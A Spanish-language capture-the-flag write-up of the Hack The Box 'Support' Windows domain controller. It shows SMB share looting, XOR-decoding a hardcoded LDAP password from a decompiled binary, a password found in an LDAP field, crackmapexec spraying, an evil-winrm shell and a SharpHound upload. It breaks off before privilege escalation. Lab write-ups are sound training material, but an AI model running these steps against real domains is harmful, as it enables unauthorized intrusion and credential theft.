

# Support

#####machine Support active  
directory#####

```
(kali@kali)-[~/machineshtb/Support]
$ nmap -Pn -sCV 10.10.11.174 -T4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-21 20:14 -05
Nmap scan report for support.htb (10.10.11.174)
Host is up (0.074s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2023-08-22 01:14:25Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ clock-skew: -10s
|_ smb2-time:
|   date: 2023-08-22T01:14:31
|_ start_date: N/A
|_ smb2-security-mode:
|   311:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.18 seconds
```

con rpc tenemos acceso denegado.

```
$ rpcclient -U "" 10.10.11.174 -N
rpcclient $> pwd
command not found: pwd
rpcclient $> ls
command not found: ls
rpcclient $> dir
command not found: dir
rpcclient $> clear
command not found: clear
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED
rpcclient $> exit
```

con smb cliente encontramos al recurso support tools}

smbclient -L 10.10.11.174 -N

```
(kali㉿kali)-[~/machineshtb/Support]
$ smbclient -L 10.10.11.174 -N
Sharename      Type and no Comment dir
-----
ADMIN$         Disk and no Remote Adminr
C$             Disk and no Remote Adminr
IPC$           IPC and no Remote IPC ACCESS_DENIED
NETLOGON       Disk and no Remote Adminr
support-tools  Disk and no Remote Adminr
SYSVOL         Disk and no Remote Adminr

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.174 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

(kali㉿kali)-[~/machineshtb/Support]
$
```

nos conectamos a ese recurso compartido con smb client

smbclient //10.10.11.174/support-tools -N

```
(kali㉿kali)-[~/machineshtb/Support]
$ smbclient //10.10.11.174/support-tools -N
Try "help" to get a list of possible commands.
smb: \>
```

descargamos el archivo users

```
(kali㉿kali)-[~/machineshtb/Support]
$ smbclient //10.10.11.174/support-tools -N
Try "help" to get a list of possible commands.
smb: \> ls
.
..
7-ZipPortable_21.07.paf.exe
npp.8.4.1.portable.x64.zip
putty.exe
SysinternalsSuite.zip
UserInfo.exe.zip
windirstat1_1_2_setup.exe
WiresharkPortable64_3.6.5.paf.exe

D 0 Wed Jul 20 12:01:06 2022
D 0 Sat May 28 06:18:25 2022
A 2880728 Sat May 28 06:19:19 2022
A 5439245 Sat May 28 06:19:55 2022
A 1273576 Sat May 28 06:20:06 2022
A 48102161 Sat May 28 06:19:31 2022
A 277499 Wed Jul 20 12:01:07 2022
A 79171 Sat May 28 06:20:17 2022
A 4439800 Sat May 28 06:19:43 2022

Challenges 4026367 blocks of size 4096. 969018 blocks available
smb: \> get UserInfo.exe.zip
```

Hay que validar como se ejecuta ese .exe por lo cual levantaremos python y transferiremos ese archivo a windows.

corremos el ejecutable

```
C:\Users\vboxuser\Downloads\UserInfo.exe>.\UserInfo.exe  
Usage: UserInfo.exe [options] [commands]  
  
Options:  
  -v|--verbose      Verbose output  
  
Commands:  
  find              Find a user  
  user              Get information about a user  
  
C:\Users\vboxuser\Downloads\UserInfo.exe>_
```


al ejecutar encontramos que el servidor no es funcional luego debemos levantar la vpn y conectarnos la maquina victima

```
C:\Users\vboxuser\Downloads\UserInfo.exe>.\UserInfo.exe find  
[-] At least one of -first or -last is required.  
  
C:\Users\vboxuser\Downloads\UserInfo.exe>.\UserInfo.exe find -first a  
[-] Exception: El servidor no es funcional.  
  
C:\Users\vboxuser\Downloads\UserInfo.exe>
```

levantamos nuevamente el servidor python y nos desconectamos de la vpn en nuestro equipo

```
(kali㉿kali)-[~/machineshtb]  
$ python3 -m http.server 2000  
Serving HTTP on 0.0.0.0 port 2000 (http://0.0.0.0:2000/) ...  
█
```


pasamos nuestra vpn




# Directory listing for /

- [Armagedon/](#)
- [Cap/](#)
- [Explore/](#)
- [Forest/](#)
- [Horizontall\\_4\\_02\\_20222/](#)
- [knife/](#)
- [lab\\_Amadomaster\(1\).ovpn](#)
- [love/](#)
- [Support/](#)

Descargamos open vpn en windows se recomienda la version 2.7 versiones mas recientes da error añadimos nuestro archivo de vpn y nos conectamos.



ahora ejecutamos el .exe y nos dice que no hay usuarios



Por lo tanto tendremos que analizar el codigo del .exe lo podemos hacer con DNSpy.

[Releases](#) / v6.1.8

# v6.1.8

Latest



0xd4d released this Dec 7, 2020



v6.1.8



2b6dcfa

[Bump version](#)

## ▼ Assets

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[dnSpy-net-win32.zip](#)



[dnSpy-net-win64.zip](#)




[dnSpy-netframework.zip](#)




[Source code \(7in\)](#)

abrimos el .exe




en el codigo encontramos un posible pass hardcodeado




0Nv32PTwgYjzg9/8j5TbmVpd3e7WhtWWyuPsyO76/Y+U193E  
key armando


Sin embargo debemos ver en que punto se muestra en texto claro el password para eso vamos al apartado de LdapQuery, agregamos un punto para depurar  
codigo como en los viejos tiempos xd ejeje y pasamos lo parametros del script -first y -last con \* para que tome todos, la prueba la podemos abrir con F5




Sin embargo no me decodifico ningun password  
por lo tanto seguimos viendo el codigo y encontramos varias lineas interesantes



una decodificación ascii armando, la decodificación y un posible tamaño



con estos datos pasamos a utilizar Cibercheft y la compuerta xor.  
Se debe tener en cuenta que la llave armando es UTF8 y el 223 es decimal.




`nvEfEK16^1aM4$e7Ac1Uf8x$tRWxPWO1%lmz`

con esto podremos conectarnos para esto validamos si podemos acceder por smb o podemos tener una shell con winrm

`crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7Ac1Uf8x$tRWxPWO1%lmz'`

`crackmapexec winrm 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7Ac1Uf8x$tRWxPWO1%lmz'`



sin embargo no tenemos buenos resultados probamos con rpccliente añadiendo el user ldap%



```
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AcLUf8x$tRWxPWO1%lmz' 10.10.11.174  
enumdomusers y enumdoutmgroups
```

```
(kali@kali) ~/machineshtb/Support  
$ rpcclient -U 'ldap%nvEfEK16^1aM4$e7AcLUf8x$tRWxPWO1%lmz' 10.10.11.174  
rpcclient $> enumdomusers  
user:[Administrator] rid:[0x1f4]  
user:[Guest] rid:[0x1f5]  
user:[krbtgt] rid:[0x1f6]  
user:[ldap] rid:[0x450]  
user:[support] rid:[0x451]  
user:[smith.rosario] rid:[0x452]  
user:[hernandez.stanley] rid:[0x453]  
user:[wilson.shelby] rid:[0x454]  
user:[anderson.damian] rid:[0x455]  
user:[thomas.rafael] rid:[0x456]  
user:[levine.leopoldo] rid:[0x457]  
user:[raven.clifton] rid:[0x458]  
user:[bardot.mary] rid:[0x459]  
user:[cromwell.gerard] rid:[0x45a]  
user:[monroe.david] rid:[0x45b]  
user:[west.laura] rid:[0x45c]  
user:[langley.lucy] rid:[0x45d]  
user:[daughtler.mabel] rid:[0x45e]  
user:[stoll.rachelle] rid:[0x45f]  
user:[ford.victoria] rid:[0x460]  
rpcclient $>
```

```
rpcclient $> enumdomgroups  
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]  
group:[Domain Admins] rid:[0x200]  
group:[Domain Users] rid:[0x201]  
group:[Domain Guests] rid:[0x202]  
group:[Domain Computers] rid:[0x203]  
group:[Domain Controllers] rid:[0x204]  
group:[Schema Admins] rid:[0x206]  
group:[Enterprise Admins] rid:[0x207]  
group:[Group Policy Creator Owners] rid:[0x208]  
group:[Read-only Domain Controllers] rid:[0x209]  
group:[Cloneable Domain Controllers] rid:[0x20a]  
group:[Protected Users] rid:[0x20d]  
group:[Key Admins] rid:[0x20e]  
group:[Enterprise Key Admins] rid:[0x20f]  
group:[DnsUpdateProxy] rid:[0x44e]  
group:[Shared Support Accounts] rid:[0x44f]  
rpcclient $>
```

buscamos información del grupo domain admins y del user administrador  
queryuser 0x1f4 y querygroupmem 0x200

```

rpcclient $> queryuser 0x1f4
group:[0x50] attr:[0x7]
group:[0x50] attr:[0x7]
rpcclient $> querygroupmem 0x200
rid:[0x1f4] attr:[0x7]
rpcclient $> queryuser 0x1f4
Profile Path:
Logon Script:
Description : Built-in account for administering the computer/domain
Workstations:
Comment :
Remote Dial :
Logon Time : Mon, 21 Aug 2023 20:13:30 -05
Logoff Time : Wed, 31 Dec 1969 19:00:00 -05
Kickoff Time : Wed, 31 Dec 1969 19:00:00 -05
Password last set Time : Tue, 19 Jul 2022 12:55:57 -05
Password can change Time : Wed, 20 Jul 2022 12:55:57 -05
Password must change Time: Wed, 13 Sep 30828 21:48:05 -05
unknown_2[0..31] ...
user_rid : 0x1f4
group_rid: 0x201
acb_info : 0x00000010
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x0000003e
padding1[0..7] ...

```

```

rpcclient $> querygroupmem 0x200
rid:[0x1f4] attr:[0x7]
rpcclient $>

```

información de los usuarios  
querydispinfo

```

rpcclient $> querydispinfo
index: 0xeda RID: 0x1f4 acb: 0x00000010 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0xf70 RID: 0x455 acb: 0x00000210 Account: anderson.damian Name: (null) Desc: (null)
index: 0xfbb RID: 0x459 acb: 0x00000210 Account: bardot.mary Name: (null) Desc: (null)
index: 0xfbc RID: 0x45a acb: 0x00000210 Account: cromwell.gerard Name: (null) Desc: (null)
index: 0xfc0 RID: 0x45e acb: 0x00000210 Account: draughtler.mabel Name: (null) Desc: (null)
index: 0xfc2 RID: 0x460 acb: 0x00000210 Account: ford.victoria Name: (null) Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000214 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xf6e RID: 0x453 acb: 0x00000210 Account: hernandez.stanley Name: (null) Desc: (null)
index: 0xf10 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0xfbf RID: 0x45d acb: 0x00000210 Account: langley.lucy Name: (null) Desc: (null)
index: 0xf6b RID: 0x450 acb: 0x00000210 Account: ldap Name: (null) Desc: (null)
index: 0xfb9 RID: 0x457 acb: 0x00000210 Account: levine.leopoldo Name: (null) Desc: (null)
index: 0xfbd RID: 0x45b acb: 0x00000210 Account: monroe.david Name: (null) Desc: (null)
index: 0xf6d RID: 0x458 acb: 0x00000210 Account: raven.clifton Name: (null) Desc: (null)
index: 0xf6a RID: 0x452 acb: 0x00000210 Account: smith.rosario Name: (null) Desc: (null)
index: 0xfc1 RID: 0x45f acb: 0x00000210 Account: stoll.rachelle Name: (null) Desc: (null)
index: 0xf6c RID: 0x451 acb: 0x00000210 Account: support Name: (null) Desc: (null)
index: 0xf71 RID: 0x456 acb: 0x00000210 Account: thomas.rafael Name: (null) Desc: (null)
index: 0xfbe RID: 0x45c acb: 0x00000210 Account: west.laura Name: (null) Desc: (null)
index: 0xf6f RID: 0x454 acb: 0x00000210 Account: wilson.shelby Name: (null) Desc: (null)

```

Con los usuario podemos hacer un ataque de fuerza bruta por lo cual para extraerlos sin las [] realizamos el siguiente comando

```
| grep -oP '\[.*?\]' | grep -v 0x | tr -d '['
```

```
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep -v 0x | tr -d '['
```

```
--$rpcclient-u 'ldap\nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '[\.:?\\]' | grep -v 0x | tr -d '['
Administrator:stanley
Guest:son.shelby
krbtgt:erson.damian
ldap:omas.raphael
support:vine.leopoldo
smith:rosario
hernandez:stanley
wilson:shelby
anderson:damian
thomas:raphael
levine:leopoldo
raven:clifton
bardot:maryria
cromwell:gerard
monroe:david
west:laura
langley:lucy
daughtler:mabel
stoll:rachelle
ford:victoria

(kali@kali)~[~/machineshtb/Support]
```

Guardamos los usuarios en un archivo aparte y vamos a validar a cual usuario le pertenece el password para esto utilizamos crackmapexec con la linea --continue-on-success

crackmapexec smb 10.10.11.174 -u usuarios.txt -p 'nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz' --continue-on-success


```
(kali@kali)~[~/machineshtb/Support]
$ crackmapexec smb 10.10.11.174 -u usuarios.txt -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success
SMB 10.10.11.174 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.174 445 DC [-] support.htb\Administrator:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\Guest:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\krbtgt:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
SMB 10.10.11.174 445 DC [-] support.htb\support:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\wilson.shelby:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\smith.rosario:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\hernandez.stanley:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\wilson.shelby:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\anderson.damian:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\thomas.raphael:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\levine.leopoldo:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\raven.clifton:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\bardot.mary:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\cromwell.gerard:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\monroe.david:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\west.laura:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\langley.lucy:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\daughtler.mabel:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\stoll.rachelle:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\ford.victoria:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz STATUS_LOGON_FAILURE
```

buscamos en hacktrics ldap y la opcion de credenciales nulas

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1\_SUBDOMAIN>,DC=<TLD>"

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b

"DC=<1\_SUBDOMAIN>,DC=<TLD>"



ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz'

-b "DC=support,DC=htb"

```
userAccountControl: 4096
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 133033249168227710
localPolicyFlags: 0
pwdLastSet: 133028831602761143
primaryGroupID: 515
objectSid:: AQUAAAAAAAAUVAAG9v9Y4G6g8nmcEILKQoAAA=
accountExpires: 9223372036854775807
logonCount: 7
sAMAccountName: MANAGEMENT$
sAMAccountType: 805306369
operatingSystem: Windows 10 Pro
operatingSystemVersion: 10.0 (19042)
dNSHostName: Management.support.htb
servicePrincipalName: WSMAN/Management
servicePrincipalName: WSMAN/Management.support.htb
servicePrincipalName: RestrictedKrbHost/MANAGEMENT
servicePrincipalName: HOST/MANAGEMENT
servicePrincipalName: RestrictedKrbHost/Management.support.htb
servicePrincipalName: HOST/Management.support.htb
objectCategory: CN=Computer,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: FALSE
```

nos muestra gran cantidad de información

sin embargo si filtramos por samaccountname

```
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep samaccountname
```

```
$ ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i samaccountname
sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: Administrators
sAMAccountName: Users
sAMAccountName: Guests
sAMAccountName: Print Operators
sAMAccountName: Backup Operators
sAMAccountName: Replicator
sAMAccountName: Remote Desktop Users
sAMAccountName: Network Configuration Operators
sAMAccountName: Performance Monitor Users
sAMAccountName: Performance Log Users
sAMAccountName: Distributed COM Users
sAMAccountName: IIS_IUSRS
sAMAccountName: Cryptographic Operators
sAMAccountName: Event Log Readers
sAMAccountName: Certificate Service DCOM Access
sAMAccountName: RDS Remote Access Servers
sAMAccountName: RDS Endpoint Servers
sAMAccountName: RDS Management Servers
sAMAccountName: Hyper-V Administrators
sAMAccountName: Access Control Assistance Operators
sAMAccountName: Remote Management Users
sAMAccountName: Storage Replica Administrators
sAMAccountName: DC$
sAMAccountName: krbtgt
```

buscamos directamente al usuario support y filtramos por los 40 primeros resultados


```
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "samaccountname: support" -B 40
```



```

(kali@kali) ~/machineshtb/Support
$ ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AcLUf8x$trWxPW01%lmz' -b "DC=support,DC=htb" | grep -i "samaccountname: support" -B 4
CorePropagationData: 20220528111146.0Z
CorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 133371437406047382
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
support,Users, support.htb
in:CN=support,CN=Users,DC=support,DC=htb
objectClass: top:20528111201.0Z
objectClass: person
objectClass: organizationalPerson
objectClass: user
ed Support Accounts,CN=Users,DC=support,DC=htb
cn:support,CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
:US:changed: 12630
:Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20230823015243.0Z
whenCreated: 12617
Info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
whenChanged: 82096
company: support
streetAddress: Skipper Bowles Dr
name: support
objectGUID: CqM5MfoxMEWepIBTs5an8Q==
userAccountControl: 66048

```



encontramos un posible pass Ironside47pleasure40Watchful  
con esto validamos con crackmapexec

crackmapexec smb 10.10.11.174 -u usuarios.txt -p 'Ironside47pleasure40Watchful' --continue-on-success

```

(kali@kali) ~/machineshtb/Support
$ crackmapexec smb 10.10.11.174 -u usuarios.txt -p 'Ironside47pleasure40Watchful' --continue-on-success
SMB 10.10.11.174 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.174 445 DC [-] support.htb\Administrator:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\Guest:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\krbtgt:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\ldap:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [+] support.htb\support:Ironside47pleasure40Watchful
SMB 10.10.11.174 445 DC [-] support.htb\smiths.rosario:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\hernandez.stanley:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\wilson.shelby:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\anderson.damian:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\thomas.raphael:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\levine.leopoldo:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\raven.clifton:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\bardot.mary:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\west.laura:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\langley.lucy:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\daughtler.mabel:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\stoll.rachelle:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
SMB 10.10.11.174 445 DC [-] support.htb\ford.victoria:Ironside47pleasure40Watchful STATUS_LOGON_FAILURE
(kali@kali) ~/machineshtb/Support

```

ahora debemos validar si podemos acceder con el usuario support a winrm el cual nos tira un pwned

crackmapexec winrm 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'

```

(kali@kali) ~/machineshtb/Support
$ crackmapexec winrm 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
SMB 10.10.11.174 5985 DC [*] Windows 10.0 Build 20348 (name:DC) (domain:support.htb)
HTTP 10.10.11.174 5985 DC [*] http://10.10.11.174:5985/wsman
WINRM 10.10.11.174 5985 DC [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)
(kali@kali) ~/machineshtb/Support
$

```

Con lo anterior tiramos de evil-winrm

evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'

```

*Evil-WinRM* PS C:\Users\support\Documents> whoami
support\support
*Evil-WinRM* PS C:\Users\support\Documents>

```

con el comando /priv contatenado de un whoami podemos ver que privilegios tenemos

```
*Evil-WinRM* PS C:\Users\support\Documents> whoami /priv
```

## PRIVILEGES INFORMATION

Privilege Name	Description	State
SeMachineAccountPrivilege	Add workstations to domain	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

```
*Evil-WinRM* PS C:\Users\support\Documents> █
```

buscamos información del usuario con net user support

```
*Evil-WinRM* PS C:\Users\support\Documents> net user support
User name support
Full Name
Comment
User's comment 12/17/2022 1:35:35 PM
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Local Group Memberships *Remote Management Use
Global Group memberships *Shared Support Account*Domain Users
Password last set 5/28/2022 4:12:00 AM
Password expires Never
Password changeable 5/29/2022 4:12:00 AM
Password required Yes
User may change password No

Workstations allowed All
Logon script
User profile
Home directory
Last logon 8/22/2023 7:47:20 PM

Logon hours allowed All

Local Group Memberships *Remote Management Use
Global Group memberships *Shared Support Account*Domain Users
The command completed successfully.
```

Local Group Memberships \*Remote Management Use  
Global Group memberships \*Shared Support Account\*Domain Users  
net group

```

*Evil-WinRM* PS C:\Users\support\Documents> net group
*Shared Support Accounts
Group Accounts for \\
The command completed with one or more errors.

*Evil-WinRM* PS C:\Users\Administrator> |

*Cloneable Domain Controllers
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Key Admins
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Key Admins
*Protected Users
*Read-only Domain Controllers
*Schema Admins
*Shared Support Accounts
The command completed with one or more errors.

*Evil-WinRM* PS C:\Users\support\Documents>

```

Utilizaremos bloodhound para ver que grupo podemos utilizar para escalar privilegios.


inicializamos neo4j // si no se tiene instalado ver las notas de la maquina forest

<http://localhost:7474/browser/>

```

kali@kali:~$ sudo neo4j console
[sudo] password for kali:
Directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /etc/neo4j/logs

```



user: neo4j

pass: 123

Antes de iniciar el bloodhound se debe borrar las bases de datos con la información de otros graficos para esto en neo4j se hace colocan los siguientes comandos

```
match (a) -[r] -> () delete a, r
match (a) delete a
```

inicializamos blodhound


```
—(kali@kali)-[~/machineshtb/Support]
—$ bloodhound
(node:45105) electron: The default of contextI
electron/electron/issues/23506 for more informa
(node:45156) [DEP0005] DeprecationWarning: Buf
from() methods instead.
```

user: neo4j

pass: 123

buscamos ahora el sharphound a diferencia de la maquina forest aqui utilizamos un .exe  
sharphound.exe





movemos a una carpeta loca y descomprimos

```
(kali㉿kali)-[~/machineshtb/Support/sharphound]
$ unzip SharpHound-v2.0.0.zip
Archive:  SharpHound-v2.0.0.zip
  inflating: SharpHound.exe
  inflating: SharpHound.exe.config
  inflating: SharpHound.pdb
  inflating: SharpHound.ps1
  inflating: System.Console.dll
  inflating: System.Diagnostics.Tracing.dll
  inflating: System.Net.Http.dll

(kali㉿kali)-[~/machineshtb/Support/sharphound]
$
```

subimos el .exe ala maquina victima

upload /home/kali/machineshtb/Support/sharphound/SharpHound.exe

una vez subido ejecutamos le .exe con la flag -c y all para que nos entregue el .zip que se utilizara en blood  
. \SharpHound.exe -c All

```
*Evil-WinRM* PS C:\Users\support\Documents> .\SharpHound.exe -c All
2023-08-22T20:36:16.4803397-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2023-08-22T20:36:16.6209745-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Tru
s, DCOM, SPNTargets, PSRemote, UserRights
2023-08-22T20:36:16.6522042-07:00|INFORMATION|Initializing SharpHound at 8:36 PM on 8/22/2023
2023-08-22T20:36:16.7615826-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for support.htb : dc.support.htb
2023-08-22T20:36:17.1563147-07:00|INFORMATION|Loaded cache with stats: 68 ID to type mappings.
  68 name to SID mappings.
  1 machine sid mappings.
  2 sid to domain mappings.
  0 global catalog mappings.
2023-08-22T20:36:17.1563147-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, R
SRemote, UserRights
2023-08-22T20:36:17.3281689-07:00|INFORMATION|Beginning LDAP search for SharpHound.EnumerationDomain
2023-08-22T20:36:17.3281689-07:00|INFORMATION|Testing ldap connection to support.htb
2023-08-22T20:36:17.3750434-07:00|INFORMATION|Producer has finished, closing LDAP channel
2023-08-22T20:36:17.3906666-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2023-08-22T20:36:47.7059919-07:00|INFORMATION|Status: 1 objects finished (+1 0.03333334)/s -- Using 40 MB RAM
2023-08-22T20:37:02.7262986-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2023-08-22T20:37:02.7887193-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2023-08-22T20:37:02.8824802-07:00|INFORMATION|Status: 132 objects finished (+131 2.933333)/s -- Using 45 MB RAM
2023-08-22T20:37:02.8824802-07:00|INFORMATION|Enumeration finished in 00:00:45.5555834
2023-08-22T20:37:02.9606223-07:00|INFORMATION|Saving cache with stats: 69 ID to type mappings.
  69 name to SID mappings.
  1 machine sid mappings.
  2 sid to domain mappings.
  0 global catalog mappings.
```


descargamos el .zip y le damos un nombre en este caso yo le puse blod


